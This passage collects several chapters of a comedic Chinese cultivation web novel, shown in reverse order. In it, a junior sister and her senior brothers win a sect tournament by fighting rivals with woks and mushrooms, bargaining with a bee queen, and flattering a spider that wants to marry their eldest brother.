既然不好意思对八条大长腿的善良大师嫂动手。 那么。 自责三秒,朝天空正带着孩子兜圈子的金鸣兽呼唤道:“小金!” 金鸣兽:“……?” 刚爬到苏清流身上,准备下嘴的蜘蛛,察觉到一股危险的气息,猝然回头。 一声高昂清亮的鸣叫划破长空,正训练孩子飞行的金鸣兽宛如带着一簇金光的箭矢,从天际俯冲而来。 小金鸣兽扑棱着翅膀,火急火燎地跟在屁股后。 金鸣兽和蜘蛛乃是天敌,本来就存在矛盾,见面分外眼红。 江献晚帮金鸣兽孵蛋,根本不用她多说什么,大显身手,准备趁机教孩子狩猎食物的技巧。 眨眼间金鸣兽和蜘蛛交起手,打的热火朝天,不可开交。 小金鸣兽被江献晚十几张火符烧出来,又被它娘操练半天,委屈的浑身炸毛。 尖利的长喙,一张一合,直奔江献晚而来! 江献晚一挑眉,闪身跳到苏清流那张网上。 一边抹刚才收集来的油脂,还不忘惨叫。 “啊啊啊,好厉害的招数!” “救命啊!杀人了!” 江献晚扯了苏清流就跑。 顺便留下凄厉而痛苦的两句。 闻者伤心,见者流泪。 “你们为了我们,一定要打起来啊!” “大师嫂!我们打不过它,你撑住啊!” 白子夜和林玉锦这两个戏精,跟着嗷嗷抱头鼠窜,作出被小金鸣兽攻击的狼狈,跑的那叫一个连滚带爬。 小金鸣兽看了看自己的小翅膀:不是,我有这么厉害的吗? 于是…… 火燎腚,追着江献晚跑的更快了! 蜘蛛又是着急,又无可奈何。 一面恼怒金鸣兽吓跑了苏清流他们,一面很是理解他们逃命的举动! 该死的金鸣兽,把它的家蛛都吓跑了! 不大的脑子,根本没考虑一切事故的发生,皆是因江献晚。 蜘蛛鼓起腹部,密密麻麻的丝线铺天盖地,朝着来扇它的金鸣兽喷了过去。 这边两兽打的有来有回,江献晚他们一口气跑出老远,直接跑回蜜蜂的老巢。 蜂王再次见到她很是高兴:嗡嗡嗡! 江献晚摆了摆手,薅下脑袋上被颠的眼冒金星的小金鸣兽,“嗨,大王,很高兴再次和您见面。” 说罢,豪气的掏出一罐糖浆,“再见即是有缘,给你。” 蜂王乐傻了。 它跟江献晚砍了许久的价才得到五罐,现在又白捡一罐,立刻热烈的表示欢迎。 苏清流靠在五人环抱的古树下,望着头顶壮观无比的蜂巢,掏出六块玉牌塞给江献晚,“小师妹,给。” 他一边揭地皮,碰到六个,顺手杀了六个。 小师妹喜欢钱,又素来大手大脚惯了,还时不时送他们很多贵重的东西,肯定想拿第一。 该说不说,三个师兄在这方面很是默契,都想着小师妹得了第一名会开心。 说不感动是假的,没想到大师兄没先跟他们算账,江献晚也不客气。 一手接过玉牌,一手摸出一颗牛肉味的丹药堵住小金鸣兽来啄她的嘴,终于想起正事。 当然有可能,怕大师兄想起方才的事,跟他们算账。 她先是拿十罐糖浆堵了大师兄的嘴,继而道:“咱们现在有很多积分,可以并列第一。” “不过,胜负要等仅剩五个弟子,其他弟子出局,要不来把大的?” 她的排名在第一位,积分甩其他弟子一大截,剩下的弟子肯定都在找她。 与其坐以待毙,不如主动出击。 早杀完早回去。 自然,这个杀是指抢玉牌,被抢者自动出局。 苏清流没急着询问为何有这么多积分,想到她平分的提议,觉得很有道理。 反正都是打。 而且,他的芥子囊装不下了。 白子夜撸了一把窝在江献晚膝头啄丹药的小金鸣兽,“还剩二十一个,其中包括时云霄。” 时云霄排名第二。 “小师妹,你想怎么一网打尽?” 说到正事,江献晚早有准备,随手捡起一根树枝在地上写写画画。 “我排名第一,他们肯定觉得脸特疼,尤其时云霄。” 林玉锦跑的热血沸腾,跟个捧哏似的,“哟!” “我将他们引到此处,二师兄你待会布个困阵,就跟大师兄小师兄躲起来。” 林玉锦:“嚯!” “剩下的……” 她声音一顿,三个师兄就知道她想干什么坏事。 林玉锦是最不嫌事大的,满脸写着‘我懂’的坏笑,“你想……嗯?” 江献晚:“嘿嘿……” 众长老:“……”你们倒是说啊! 第 35 章 大师嫂 苏清流不紧不慢,重新悠哉悠哉的躺了回去,打定主意看三个皮猴子滚一遭。 元婴期异兽,对小师妹他们来说,是再合适不过的练手对象。 江献晚闪身躲过,白子夜干脆就地一滚,林玉锦没那么幸运,乍舌之余,被蜘蛛网喷个正着,一头从树上栽下。 “等一下!” 眼瞧蜘蛛抬起一条比她命都长的大长腿,来戳她脑壳。 江献晚忽然激动而大声地道:“莫非你就是我那漂亮美丽可爱迷人独一无二万里挑一绝色无双赛比天仙的大、师、嫂?!” 苏清流:“……?” 蜘蛛:……嘴和腿来了个急刹。 灵幕前,喷茶声几道。 大,大师嫂? 还绝色无双,赛比天仙? 江献晚……莫不是有眼疾吧? 蜘蛛抬着一条长腿愣在原地,用为数不多的大脑思考。 这三个人是? “没错!”江献晚一拍胸脯,“我们三个是他的师弟师妹,也就是说,我们跟你是一家人呐!” 一家人? 蜘蛛看向她手里的长剑,不信。 它明明是个蜘蛛。 而且,她方才明明就是想救走它新找的老伴。 再说,它的新老伴看起来并不喜欢它,也不想和它生小蜘蛛。 他们怎会愿意将它当成一家蛛! 江献晚看出了它的疑惑,把剑一收,轻飘飘跃下。 信誓旦旦的狡辩。 “真的,我刚才拔剑,只是想为您修剪一下这棵树。” “你们今晚不是要生小蜘蛛吗?我们三个只是想帮你们布置一个良好的环境,好叫你们洞房花烛!” 苏清流:“……”这何尝不是一种应敌的方式。 可他什么时候说要生小蜘蛛了? 小师妹就这么把他给卖了? 白子夜更不在乎大师兄的清白,只想保全自己的性命。 热情挥舞着双臂,笑的那叫灿烂,“大丝嫂好!我是你二丝弟!” 林玉锦躺在蜘蛛网中,不甘落后,激动的爬起半拉身子,“大师嫂,我是你最可爱的小师弟!” 管它呢,喊就对了! 苏清流:“……” 面对三人相见恨晚的狂热喜爱,蜘蛛犹豫不定,视线在老公和江献晚他们身上来回徘徊。 江献晚很热情,还很自来熟,一家人不说两家话。 小跑上前,睁着一双让蛛忍不住相信的眸子,“大师嫂,这是您织的网吗?真是太漂亮了!这形状,这柔韧度,我还是第一次见!” 直到现在,她终于确定,他们的亲大师兄,分明是想坑他们一把! 但是! 打架没问题,大师兄故意让自己的老婆和自己的师弟师妹起内讧,着实不该。 话音方落,黑蜘蛛全身猝然以肉眼可见的速度变得鲜亮,腹部出现一个类似笑脸的图案。 嘴巴一张,吐出一张不黏手的蜘蛛网。 意思不言而喻! 江献晚诧异的接过柔韧的蜘蛛网摸了摸,“大师嫂,这是您送给我的见面礼吗?” 蜘蛛羞涩的点了点头。 既然是一家蛛,区区蜘蛛网算什么,它觉得现在有的是力气,能吐一百张! 江献晚爱不释手,左看右看,对自家大师嫂送的见面礼满意的不得了! “啊啊啊!大师嫂!你也太好了吧!” 林玉锦急了,忙跟着举手,“漂亮可爱的大师嫂!看我!我也要!我也要!” 白子夜踹开他,风似的刮过去,“大丝嫂!还有我!我也想要!” 蜘蛛腹部的笑脸愈发明显。 迈着八条大长腿,大气的收回缠在林玉锦身上的蜘蛛网,又连续吐出几张格外漂亮的。 不花钱就能得到元婴期异兽吐的蜘蛛网,三人当即对着大师嫂一顿猛夸。 “大师嫂,你真厉害!” “大师嫂,你是我亲师嫂!” 江献晚热情地掏出一条灵雁腿,“大师嫂,初次见面,没什么好东西,这灵雁腿肉质鲜嫩可口,你肯定会喜欢的!” 望着这和气的一幕,苏清流久久无言,觉得自己的眼好像有点瞎了。 蜘蛛被亲亲热热,一口一个大师嫂叫的飘飘然然。 这三个小家伙修为只是金丹而已,料他们也不敢耍什么花招,显然真的是把它当成一家蛛! 它雀跃的吞下江献晚送给它的灵雁腿,腹部一鼓,再次吐出一张超大无比的巨网。 一蛛三人相见恨晚,交流甚欢,很快打成火热的一片。 只有苏清流若有所思,沉默的躺在网上。 他视线微微恍惚,落在正踮脚努力把花环往蜘蛛头上套的江献晚,还有围着蜘蛛开开心心,一口一个大师嫂的林玉锦和白子夜,双目一阖,唇角微微抽动。 众长老此刻不知道该是怎样的一种心情。 只觉得…… 这四个孩子……脑子好像都有毛病啊! 等出来,非得让炼丹长老给他们好好瞧瞧! 传送出秘境的弟子,瞪眼瞧着这令人大跌眼镜的一幕,都觉得……很想抽两下嘴角。 就很难评。 他们到底特么的在干啥啊! 那蜘蛛可是元婴后期的兽,会吃人的那种! 他们仨竟然鬼鬼祟祟摸人家腿毛! 潋浮台凉亭,两位帝尊棋早就不下了,生怕错过江献晚一丝一毫的举动。 帝隐眼底的光泽越来越激荡,唇角的弧度更是罕见的明显,像是月下绽放到极致的昙花。 云为泽指尖摩挲着茶盏,手肘散漫的抵着桌案,支着下颌,津津有味。 那蜘蛛显然受宠若惊,颇有种被认可的骄傲。 不过没忘记干正事。 它羞涩地看了一眼苏清流,一条大长腿轻轻扒拉了一下江献晚他们三个。 满身写着,我要生小蜘蛛了! 你们自己玩去。 它到底留了个心眼,喷出一张巨网挂在另一棵树上,示意他们三个上去。 江献晚依依不舍的抱着它一条大长腿,来回晃。 “大师嫂,你要跟大师兄生小蜘蛛了吗?” 蜘蛛点了点头,再次羞涩的瞅了瞅苏清流。 江献晚很有觉悟,痛快地点头,“那就不打扰你和大师兄生小蜘蛛了。” 苏清流:“……”我生个铲铲。 三人丝毫不顾及自己大师兄的清白,主动往蜘蛛网上爬。 想到什么,江献晚挠挠脸。 “那个,大师嫂,这网有点黏。” “我们还在比赛,万一被别的弟子发现,一剑就能要了我们的命。” 蜘蛛认真的想了想,觉得确实不妥。 它这网是捕捉食物用的,粘性很强。 第 34 章 给他生一窝一窝的小蜘蛛 白子夜捧着消肿不少的脸,很难不赞同,“就是,大丝兄,你也太不思进取了吧?” “带头作用就是这么用的?” “亏我们将所有的希望都寄托在你身上!” 就连江献晚都忍不住露出一种‘你竟然是这样的大师兄’的古怪眼神。 苏清流乌睫震颤,慢吞吞掀开眼皮,眼眸轻轻眯起。 三个小混蛋! 眼睛长脚底板了吗? 他是在荡秋千吗! 虽然……是的。 苏清流眸光微微一闪,漫不经心,决定坑师弟,“拉我下来!” 林玉锦撇撇嘴,“还要拉?你没脚没手,不会自己跳下来?” “多大人了,还要人拉?” 苏清流勾了勾唇,嗓音意味不明,“你最好祈祷我不能下来。” 否则,罚你单手倒立十日! 不! 倒立到死! 对上苏清流‘你绝对死定了’的眼神,林玉锦吓的脖子一缩,白子夜和江献晚同样一个激灵。 这,就是大师兄的威严! “拉就拉!” 林玉锦不服气的小小哼了一声,到底不敢再甩嘴皮子。 飞快地蹿上大树,扣上苏清流的手腕,用力一拉。 后者纹丝不动,随着蜘蛛网弹荡两下。 白子夜:“……” 江献晚:“……” 苏清流略略挑眉,没想到林玉锦的狗脑子终于聪明一次,没有触碰蜘蛛网。 眼底浮出浅浅的失望,视线缓缓偏向白子夜。 继续坑。 “老二。” 收到大师兄的指示,白子夜不情不愿爬上去,踩在树干,扣上苏清流另一只手腕。 两人齐发力。 江献晚站在树下,很好奇,“二师兄小师兄,你们刚才吃那么多,还没吃饱么?” 话虽如此,她看出了蜘蛛网的古怪,还有大师兄眼底一闪而逝的促狭。 林玉锦和白子夜脸一红。 男人最怕被说不行,当即使出吃奶的力气。 要不是在树上,看起来都想扎马步了。 苏清流整个人跟着蜘蛛网晃悠,硬是没起来一点。 反应过来蜘蛛网大有问题,白子夜和林玉锦纷纷谴责。 “大师兄,你故意的?” “太损了吧,连自己的师弟都坑!” 谁家大师兄做成他这种样子! 苏清流侧耳听了听动静,拍开他俩的手,“怎么不说自己没用。” 这蜘蛛有元婴修为,擅长隐匿,蜘蛛网剑砍不断火烧不破,沾上更是难以起身。 趁他揭地皮的时候,背后搞偷袭。 他刚被黏上,听到白子夜他们三个叽叽喳喳的声音,便没起身。 谁知这三个不省心的小混蛋,说他在躲懒荡秋千。 他明明揭地皮揭的指头都酸了! 林玉锦睁着无辜的大眼,指着自己的鼻尖,“我没用?” 又大着胆子怒道:“我断了你的丹!” 苏清流不甚在意,轻飘飘乜他一眼,“我有小师妹。” 言下之意,我想要的,小师妹都会给我。 林玉锦:“……”可恶! “那也是我小师妹!” “说,小师妹,你以后还给不给他炼丹了?!” 江献晚:“……给。” 白子夜恨铁不成钢,“你就宠他吧!” 该说不说,他们还挺好奇这张蜘蛛网的粘性为何如此强悍。 拿出菜刀和火符,连劈带烧,硬是没弄断一根蜘蛛丝。 江献晚观察苏清流懒倦的躺姿,眸光微动,“那个,大师兄,你粘在这里多久了?” 很有必要怀疑,大师兄绝对是懒劲上来,顺势躺下睡一觉。 苏清流被小师妹看破心思,懒倦的掩唇打个哈欠,“就方才。” 揭地皮揭累了,刚好歇歇。 重要的是,他今日必须杀了那个将他兜在蜘蛛网里的异兽。 “那兽兽呢?” 她最怀疑的是,大师兄绝对在挖坑给他们跳! 闻言,漂亮的少年一双浓密的睫毛轻垂,不自在的别过脸。 白子夜和江献晚默契地对视一眼。 怎么还脸红上了。 有情况~ 八卦之心熊熊燃烧,江献晚盘腿坐下,托着脸,眼底闪烁着锃亮的精光。 “大师兄,到底发生了什么啊,跟晚晚说说吧。” 大师兄最受不了她装的乖巧,自称晚晚。 晚晚二字一出,别说是要天上的月亮,就是太阳,苏清流都能一口答应。 白子夜敏锐察觉一丝不同寻常的气息在空中渐渐弥散,掏出一把瓜子,蹲下。 难得听小师妹撒娇,苏清流果然受不了,耳根涌上一层薄薄的绯色。 轻飘飘的语气,依旧淡定的令人甘拜下风。 “它要……” 要什么? 三人耐着性子,等了一会儿。 江献晚:“……”说啊。 白子夜:“……”你快说啊。 林玉锦蹲在树杈上,催促,“你倒是说啊!” 苏清流见他仨直勾勾的盯着自己。 顿了顿,没好气道:“与我成亲。” 还要给他生一窝一窝的小蜘蛛! 变态! 谁要跟它生小蜘蛛了! 林玉锦脚一滑,差点从树上栽下来,忙扶稳树干。 不假思索,脱口而出。 “那我们岂不是要有大师嫂了!” 白子夜抚掌赞叹,“我勒个,白捡一媳妇,还是八条大长腿的那种。” “大师兄,好福气!” 江献晚:“这特么是进了盘丝洞啊。” 难怪大师兄不肯离开。 “滚!” 饶是素来云淡风轻的少年,都忍不住爆了粗口。 哐当一剑,将自己最爱的老婆狠狠砸在林玉锦脑袋上。 “不会说话,没人把你当哑巴!” 这福气给你,你要不要! “打我做什么,我们累死累活,你搁这洞房花烛,玩蜘蛛,还不让说了!” 林玉锦不服气地捂住脑壳,委屈的不行。 白子夜轻轻拍手,很难不赞同。 玩蜘蛛? 苏清流偏头,唇角挂着若有若无的笑意,眼底却杀意昭昭。 林玉锦的脑袋,是废墟吗? 微微一笑,看向最靠谱的小师妹时,语气难以遏制含上两分委屈。 “小师妹,你不会也是这么想的吧?” 他是玩蜘蛛的人吗? 神游天际,正在想人和蜘蛛怎么洞房花烛的江献晚,呆呆啊了一声。 “当然不是!” 苏清流稍稍欣慰。 却听小师妹忽然道:“先把聘礼收了!” 回去研究研究,挂在破山头,还能捕捉蚊虫苍蝇。 苏清流:“……” 然而,苏清流堪堪支颐起半边身子,决定将聘礼转送给自家小师妹。 一只体型庞大,迈着八条大长腿的黑蜘蛛,吐着丝回来了! 第 33 章 这特么也行 差点没把她气死。 说什么买给江行行吃的。 小孩子能吃这么多甜食吗? 分明是他自己想吃! 江献晚无数次都想打死他! “一、千!还是极品灵石!” 林玉锦连忙接过江献晚递来的勺子。 江献晚又掏出二十罐,她带了四十罐,想着分给三个师兄,再托秦秦给花不休带些的。 白子夜抱着十个小罐子,摸摸这个摸摸那个,“太贵了,不舍得次。” 林玉锦喜滋滋的往自己芥子囊里塞,“二师兄,你不要,就给我,我舍得吃。” “滚!这是小师妹给我的!” 三人忙活半天,早上没吃饭,这会胃口大开,干脆盘腿坐在地上吃蜂蜜。 在江献晚变戏法似的,又拿出三条灵雁腿,三瓶果汁,顿时将那一群拳头大的蜜蜂抛之脑后。 白子夜摸了摸江献晚脑袋上那根羽毛,口齿不清,塞给她五枚玉牌,“给,二师兄抢的。” 江献晚沉默一瞬,把金鸣兽的羽毛装进芥子囊,掏出一个小包袱。 “二师兄,随便拿。” 白子夜:“……?” 她是挖穿了秘境吗? 秦秦不是说地晶罕见,怎么这么多啊! 林玉锦眉飞色舞的把江献晚孵蛋,如何得到的地晶讲了一遍。 白子夜听的胃口大动,“金鸣兽的蛋啊,有营养,倒是可惜了。” 三师兄妹正激烈讨论金鸣兽的蛋该有多么好吃的时候,忽听耳边传来巨大的嗡嗡声。 三人:“……” 卧槽! 把它们忘了! 还有,那比脸都大的,特么是蜂王吧! 再次见到蜂王,白子夜反射性捂脸。 看着快要怼在脸上,小手指粗细的口器,林玉锦吓的倒吸一口凉气。 这特么被蛰上一口,他帅气的脸蛋还要不要了! 江献晚同样很慌,想拿锅当罩子。 见两个师兄下意识一致侧身,护在面前,感动了一下下,决定主动出击。 “谈谈?” 白子夜林玉锦:“……?” 跟谁谈? 这群大蜜蜂? 江献晚扒拉开白子夜和林玉锦,慢吞吞的舀起一勺糖浆,开始无死角展示。 感情丰富,声音抑扬顿挫,极具诱人意味。 “千年冰莲糖浆,有价无市,头叟无期,不含任何添加剂,买不了吃亏买不了上当。” “走过路过,千万不要错过。” “相信我,千年冰莲糖浆,你值得拥有!” 拉长的滑腻丝线在阳光的照射下,藕断丝连,丝丝缕缕的清甜香气在空气中迅速蔓延开。 蜂王先是一愣,旋即翅膀疯狂震动,嗡嗡的更厉害了。 看起来很好吃。 要不要先把这三个修士蛰死,再抢走他们的糖浆? 还不用花钱! 可穿白衣服的那个,手里有很多厉害的符纸,还特么会凌空画符。 它底下的工蜂,有十几只翅膀都被烧焦了。 现在又多出两个犯罪同伙,打架,恐怕不太划算。 黄褐色的蜂王凝视着江献晚手中的小罐子,权衡利弊,头一点:怎么谈? 白子夜捂着脸,欲哭无泪。 这特么也行? 合着这货跟他一样,是个吃货! 看有的谈,江献晚不慌不忙,拍开盖子,“既然要谈,我就拿出我的诚意,你可以先尝尝。” 相信她,这世界上没有一个吃货,可以抵挡美食的诱惑! 蜂王迫不及待的将口器扎进去,翅膀极速震动,扇出残影,几乎要将三人扇歪。 好吃! 比它吃过的任何一种花蜜都要好吃! 江献晚只让它尝了一口,蜂王的口器太大,一针下去,少半罐。 眼看蜂王像是喝假酒似的,飘飘欲仙,荡漾的摇头晃脑,也不磨叽,拿出一枚丹药。 “之前的事一笔勾销,再让你的蜜蜂大军帮我找到身上有这种味道的少年,我就给你两罐糖浆怎么样?” 这颗丹药是根据苏清流身上的冷香炼制的,放在屋里,别说还挺清淡。 见状,白子夜和林玉锦很是不开心。 一人握上她一边肩膀,晃她。 “小师妹!你偏心!” “我不香吗?!” 江献晚:“……香!” 蜂王不耐烦地一脑袋顶开两个碍事的少年。 香你妹! 哪有糖浆香! “嗡嗡嗡嗡嗡嗡嗡嗡嗡嗡!” 江献晚激动地合上盖子,无情拒绝,“不行!十罐太多了!我这可是雪山之巅上千年的冰莲糖浆!一坛可是一千块极品灵石!极品!” 秘境外,花不休额角蹦跳,快要气晕过去。 小兔崽子! 一千极品灵石买一罐糖浆! 败家的孽徒! 都不知道孝敬他老人家的! 只有长老们在幸灾乐祸,努力憋笑。 凤仪剑尊也有今天! 不过,他们怎么那么有钱? 不是很穷吗? 实际上,苏清流他们四个可谓是家财万贯,富得流油! 就是穷怕了,又怕花不休发现他们藏私房钱,一身衣裳穿烂都不换。 所以第一眼,给人一种穷的叮当响的错觉。 看到江献晚和蜂王还在比比划划,林玉锦问出了众人的疑惑,“你怎么知道它说的是十罐?” “笨!”白子夜拿笔敲他脑壳,含糊不清,“它嗡嗡了十声!” 最后,江献晚和蜂王进行了长达十分钟的激烈谈判。 最终以五罐成交。 并要求蜂王回给他们些蜂蜜。 一百罐的那种。 最开心的莫过于白子夜,脸都要笑烂了。 瞧着三个人跟随蜂王,悠哉悠哉的爬进蜂巢,大肆扫荡,众长老神色愈发扭曲。 “清音蜂极为难缠,又团结报一,惹到它们就是不死不休的那种,它们对灵花的品种很是挑剔,非开了灵智的花不采,产出的蜂蜜口感甚佳,每日吃上那么一滴,对身体大有益处。” “我上回去,也只是勉强得了十小罐。” “生意做的不亏。” 感觉自个占了天大便宜的蜂王,直朝江献晚抛媚眼。 自然不再计较白子夜方才还想偷它们家的可耻行为,甚至邀请江献晚留下来做它的蜂后。 “做梦!”白子夜和林玉锦齐声高声反驳。 得到江献晚不想找个女生做老婆的坚定拒绝,蜂王好不失望,只能对着一群蜜蜂一顿嗡嗡。 工蜂接到命令,朝不同的方向散去。 没过一会儿,就有一只工蜂折返回来。 江献晚他们刚好装完蜂蜜,忙告别依依不舍的蜂王,跟上那只领路的工蜂,去寻苏清流。 越往里走,越是隐蔽潮湿,阳光几乎都穿不透枝叶。 当看到随风轻轻飘荡,抱剑闭目养神,好不悠哉的少年,三人不约而同,陷入难得的沉默。 林玉锦愤愤不平,撸起袖子,第一个开喷,“大师兄,我们辛辛苦苦抢玉牌,薅灵草,你在这荡秋千,你可真有意思!” 第 32 章 跟它们谈谈 换秦秦来,还差不多。 巨大的锅飞来,剑意再次被生生撞碎,楚微凝神色骤变。 被一股强悍的力量,震的连连后撤两步。 她不可思议的垂下眼皮,看手中的剑。 自己……真的吹牛了吗? “吹了!”江献晚抖了抖手臂,微微翘起唇角。 趁她病,要她命。 用行动告诉她,到底是不是在吹牛。 衣裙翻飞,身形快若闪电,欺身逼近。 右手四两拨千斤,阻了她出剑的念头。 左手猛地扣住她的手腕,手臂扬起,往地上摔去。 还有一记带着惊人力量的,帅气粗暴回旋踢。 楚微凝在半空中,被踢飞在一朵探头探脑的蘑菇上,将蘑菇吓的用力朝上一顶! 弹到地面的那刻,望着蘑菇顶着一枚玉牌,开开心心的送给江献晚,茫然的目光还未来得及消散,便被传送出了秘境。 好快! 肚子还……很疼! 话说,她真的……吹牛了?! 众长老评价颇高。 “真的好贱呐!” “颇有剑尊往昔之风采!” 她和林玉锦‘浮光掠影’竟习的如此飘逸。 短短片刻,打的四个弟子毫无还手之力。 花不休不置可否。 不都是他辛辛苦苦,一拳一拳揍出来的。 江献晚将玉牌收起,另一侧,蓝袍少年几乎晃出残影。 手里的爆炸符甩的跟下雪似的。 打不过,就躲。 躲的时候,顺便搞个偷袭。 秦秦挥剑,简单粗暴,没有绚丽的花招。 长剑一转,带出凌厉的剑影,猛地下扫,将林玉锦逼的一退再退。 江献晚看的有些不解。 秦秦不是专爱削人脑瓜,招招致命,不留余地。 这种略显温和的打法,一看就是留了手的。 这俩人,搁这调情呢? 林玉锦可冤大发了。 他炼丹一术天赋异禀,论剑略差一筹。 躲不开,强接下剑气,锅烂成两半。 见小师妹打完,气鼓鼓的将两瓣锅一扔,声嘶力竭,寻求支援。 “小师妹!揍死他!” 打不过喊师妹,林玉锦丝毫不觉得可耻。 特希望自己的小师妹,最好能狠狠暴揍秦秦一顿,让他熄了不该有的心思! 秦秦听他摇人,剑尖凝顿,目光下意识斜向江献晚。 “晚晚师妹。” “晚你妹!”林玉锦雪白的面颊气的涨红,双手叉腰,大声呸他一口,“谁是你师妹!” 臭不要脸! 自己有师妹,来跟他们抢师妹! 江献晚自然丝毫没有片刻犹豫。 在她看来,外人和自己的小师兄相比,不值一提。 举着锅,以势不可挡的气势,掀起恐怖的爆发力,仿佛千斤重力砸下。 秦秦倏地抿了唇,眸光微微黯淡。 明知道是大比,可在看到少女不带半分情绪的眸子,和丝毫不露起伏的神色,心中忍不住酸涩。 疾身避开,不正面迎击。 江献晚不解,但不耽误她乘胜追击。 不慌不忙,脚尖又一点。 下方蘑菇大军随之齐刷刷消失,巨大的法阵光圈骤然点亮,一击叠一击,四面拔地而起,将少年笼罩其中。 看到这一幕,各长老坐不住了。 “八方束魂阵,她修的是阵法?” “打斗的同时还能游刃有余的布下阵法,连秦秦都未察觉,布阵的速度在年轻一辈,称得上恐怖二字了。” 负责授阵法课的长老眼热的不得了,明目张胆挖人。 “凤仪,她既然修的是阵法,以后该多来我这里听课。” 花不休慢慢掀开眼皮,悠悠吐出一个字:“滚。” 那是他的徒儿! 孽徒也是徒! 秘境中,被阵法干扰神智的少年恍惚一瞬,动作微凝。 这点时间,足矣。 林玉锦瞅准机会,坏笑着再次掏出一口锅。 “少年,面对疾风吧!” 江献晚则麻溜地扑过去,扯向少年腰间的玉牌。 江献晚:“……?” 林玉锦:“……!” 秦秦:“……” 三指宽的腰带,宛若一抹流云,轻飘飘的从眼前划过。 秦秦再挥不出一剑,被林玉锦一锅砸在肩上都没反应。 面色腾地浮出一层薄红,手忙脚乱的去拢衣裳。 在秦秦被传送出秘境的那一刻,江献晚绷紧脸,若无其事的捏着一条腰带,抬头望天。 林玉锦缓步走到跟前,两只眼睛死死盯着她。 声音幽怨,像死了八百年的怨鬼,酸气冲天。 “小、师、妹。” “咳。” 江献晚目不斜视,捏着腰带,举步向前。 乌泱泱的蘑菇大军屁颠屁颠跟上。 从头看到尾,云为泽觉得这次的弟子交流大会,实在是精彩纷呈。 转过眸来,微翘的眼尾似笑非笑,“帝隐,你看人的眼光……着实不一般,江献晚,真的是……有趣。” 重点是,现在是他门下弟子。 快哉快哉。 帝隐:“……” 林玉锦和江献晚没走多远,便遇到正躲在大树后,探头探脑的少年。 若不是那身熟悉的白衣,两人刚掏出来的锅,恐怕就冷漠无情的扣上去了! 白子夜顶着肿成两条缝隙的眼眶,揉着脸上的大包,委屈的嗓音有些可怜。 “小丝妹,快来帮二师兄采蜂蜜。” 江献晚看看他肿成猪头的脸,再望向远处同她茅草屋房子大小的蜂巢。 还有嗡嗡乱窜,正在找什么,拳头大的蜜蜂。 眼皮子直跳。 “二师兄,这个蜂蜜,咱就是说,非吃不可吗?” 林玉锦更是捂紧自己漂亮的脸蛋,“我觉得还是命重要。” 白子夜拿笔狠狠戳他脑壳,顺便送给他一脚。 “我现在就要次蜂蜜!你赶紧给我摘去!” 二师兄,喜甜。 曾吃坏两颗牙。 被他们笑了三天三夜。 这群蜜蜂的速度极快,比疾风符还要快。 他刚凌空甩出一张火符,结果被蜜蜂追了二里地,蛰了八个包! 屁股都是肿的! 白子夜越想越委屈。 现在已经不是蜂蜜的事了,而是面子! 不蒸馒头争口气。 他非摘了它们的蜂巢不可! 江献晚想了想,“要不,我们跟它们谈谈?” “怎么谈?” 白子夜顶着两个肿成核桃的眼,萌的不得了。 可爱的样子,江献晚多看了两眼,才心满意足的低下头。 掏啊掏,掏啊掏,终于掏出一个迷你小罐子。 白子夜和林玉锦知道她乱七八糟的东西很多,好奇的凑上来。 “好香!” “这是什么?” “不含任何添加剂的糖浆,雪峰之巅,上千年份的天山冰莲酿制而成,一千块极品灵石一罐。” 江献晚肉很疼。 昨天风回雪买了一百坛,花了十万极品灵石! 十万! 第 31 章 来,打死我 为了化解这种奇奇怪怪,大眼瞪小眼的气氛,三方默契开打。 太音峰两位弟子手持唢呐和古琴,轻轻跃上树梢,发动远程攻击,配合打辅助。 太灵峰主剑,负责近身战术。 江献晚和林玉锦扑过去的时候,忙里抽闲,还在不紧不慢的传音密商。 “先撂倒太音峰的人。” 这两个输出型音修,还挺厉害。 已经不是单纯的奶妈或控场,其中抱琴的那个,一上来就弹拨出一片片光刃。 猛攻他们的神识,造成范围性精神碾压。 唢呐更是乐器中的流氓,音色高昂,穿透力极强。 可谓是以音破万法。 当然,音修是堪比移动护法大阵的顶级辅助不错。 但本体稍弱,绝对需要保护。 更……适合下手。 “嘿嘿……看我的!” 林玉锦很有自己的节奏,手掌一抬,一把大勺子,迅雷不及掩耳之势,落入手中。 在江献晚堪堪迈出一条长腿时…… “当”地一声,响彻云霄! “破!” 这一招破字诀,在两种乐器中显得尤为提神醒脑。 别说两个太音峰弟子齐齐一哆嗦,就连向前冲的江献晚脚下跟着一滑。 两道乐声刹那间跑调,辅助被迫中止。 林玉锦看中时机,兴冲冲的举着锅冲了过去…… 看到小师兄一上来就这么狗,江献晚也不装了。 迎着三把即将削在脑瓜上的剑,微微偏头,朝秦秦三人弯出一抹熟悉的邪恶弧度。 振臂高呼! “小的们,给我上!” 话落,一片浩浩荡荡,巨大壮观的蘑菇大军,开闸泄洪般从地底下喷涌而出! 万菇奔腾,不可胜数! 而后在五双震惊而扭曲地眼神中,狗腿的绕过江献晚和林玉锦。 朝着对方五人,一涌而上! 说时迟,那时快。 江献晚抄起锅,脚尖点过蘑菇,飞身跃起。 目标:太灵峰三位弟子。 她跟林玉锦的辅助,显然比太音峰那两个弟子的有效。 蘑菇大军出现的那一刻,对面五个人嘴角又在抽搐,楚微凝踉跄一下,险些把剑丢出去。 “不是?这蘑菇?” 这些蘑菇为什么会听江献晚指挥啊! 秦秦下意识屏住呼吸,又是错愕一瞬。 阻拦林玉锦的剑意跟着走歪,被江献晚一锅干碎。 林玉锦才是最震惊的那一个。 还很委屈,“小师妹,你竟然不先跟我分享。” “刚想起来。”江献晚解释道,顺手丢给他一颗丹药。 她速度极快,侧身躲过秦秦削来的一剑,长腿高抬,拦腰回踢。 并抬起手臂,拎着锅,狠狠朝离她最近的太灵峰那位男弟子脑袋上,用力砸去。 与此同时,短暂而又接连震惊两次的功夫,林玉锦头两锅,将太音峰两个弟子的古琴和唢呐砸飞。 又是两锅,直接暴扣,毫不怜香惜玉,将二人砸昏在蘑菇堆上。 迅速抢走玉牌,还不忘发出真诚的瞧不起。 “小垃圾,手拿把掐。” “……”你特么。 林玉锦成功拿到两块玉牌,旋身一鞭腿,外加一锅飞出。 同江献晚一前一后,扣向那个倒霉蛋太灵峰弟子。 两人配合的天衣无缝。 那弟子怔怔的坐在晃动的蘑菇脑袋上,举着长剑面露茫然。 下意识摸了摸脑袋上新长出的两个包,眼仁后知后觉一翻,麻溜出局! 转眼之间,二比二,局面平。 对面只剩下秦秦和楚微凝。 两人站在蘑菇头上,忙吃下解毒丹,视线忍不住交汇,从彼此的眼睛里看到了一丝……呆滞。 短短几息,出局三人! 两人太狗了吧,竟然说动了秘境的大蘑菇。 他俩的沉默,震耳欲聋。 